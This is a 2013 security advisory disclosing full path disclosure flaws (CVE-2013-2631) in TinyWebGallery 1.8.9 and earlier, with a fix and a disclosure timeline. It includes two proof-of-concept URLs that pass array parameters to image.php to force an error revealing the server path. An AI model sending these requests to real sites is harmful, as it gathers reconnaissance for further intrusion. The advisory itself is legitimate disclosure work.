TinyWebGallery 1.8.9 Path Disclosure

`=============================================  
INTERNET SECURITY AUDITORS ALERT 2013-012  
- Original release date: March 19th, 2013  
- Last revised: April 6th, 2013  
- Discovered by: Manuel Garcia Cardenas  
- Severity: 5/10 (CVSS Base Score)  
- CVE-ID: CVE-2013-2631  
=============================================  
  
I. VULNERABILITY  
-------------------------  
Multiple Full Path Disclosure Vulnerabilities in TinyWebGallery <= v1.8.9  
  
II. BACKGROUND  
-------------------------  
TinyWebGallery (TWG) is a photo album / gallery released under a  
modified Open Source license GPL. It is a server based gallery script  
for images which uses Ajax, PHP, XML and the graphic library Gdlib /  
ImageMagick.  
  
III. DESCRIPTION  
-------------------------  
This vulnerability could allow a malicious user to view the internal  
path information of the host due to some files were missing the check  
the inclusion of libraries.  
  
The error is generated through the parameters "twg_browserx" and  
"twg_browsery" in the page image.php.  
  
IV. PROOF OF CONCEPT  
-------------------------  
The attacker can get the full path of the installation of  
TinyWebGallery browsing to any of this urls:  
  
http://vulnerablesite.com/tw/image.php?fontscale=1&twg_browserx[]=1706&twg_browsery=890&twg_xmlhttp=r  
  
http://vulnerablesite.com/tw/image.php?fontscale=1&twg_browserx=1706&twg_browsery[]=890&twg_xmlhttp=r  
  
The information obtained contains the full path to the files:  
  
Fatal error: Unsupported operand types in  
/var/www/tw/inc/ajaxserver.inc.php on line 157  
  
V. BUSINESS IMPACT  
-------------------------  
Full path disclosure vulnerabilities enables an attacker to know the  
path to the web root. This information can be used in order to launch  
further attacks.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
TinyWebGallery <=1.8.9  
  
VII. SOLUTION  
-------------------------  
Update to version 1.9  
  
VIII. REFERENCES  
-------------------------  
http://www.tinywebgallery.com  
http://www.isecauditors.com  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered  
by Manuel Garcia Cardenas (mgarcia (at) isecauditors (dot) com).  
  
X. REVISION HISTORY  
------------------------  
March 19, 2013: Initial release.  
April 6, 2013: Final release.  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
March 19, 2013: Vulnerability acquired by  
Internet Security Auditors (www.isecauditors.com)  
March 21, 2013: Send to Vendor.  
March 21, 2013: New version that includes patched code.  
April 6, 2013: Sent to lists.  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is"  
with no warranties or guarantees of fitness of use or otherwise.  
Internet Security Auditors accepts no responsibility for any damage  
caused by the use or misuse of this information.  
  
XIII. ABOUT  
-------------------------  
Internet Security Auditors is a Spain based leader in web application  
testing, network security, penetration testing, security compliance  
implementation and assessing. Our clients include some of the largest  
companies in areas such as finance, telecommunications, insurance,  
ITC, etc. We are vendor independent provider with a deep expertise  
since 2001. Our efforts in R&D include vulnerability research, open  
security project collaboration and whitepapers, presentations and  
security events participation and promotion. For further information  
regarding our security services, contact us.  
  
XIV. FOLLOW US  
-------------------------  
You can follow Internet Security Auditors, news and security  
advisories at:  
https://www.facebook.com/ISecAuditors  
https://twitter.com/ISecAuditors  
http://www.linkedin.com/company/internet-security-auditors  
http://www.youtube.com/user/ISecAuditors  
`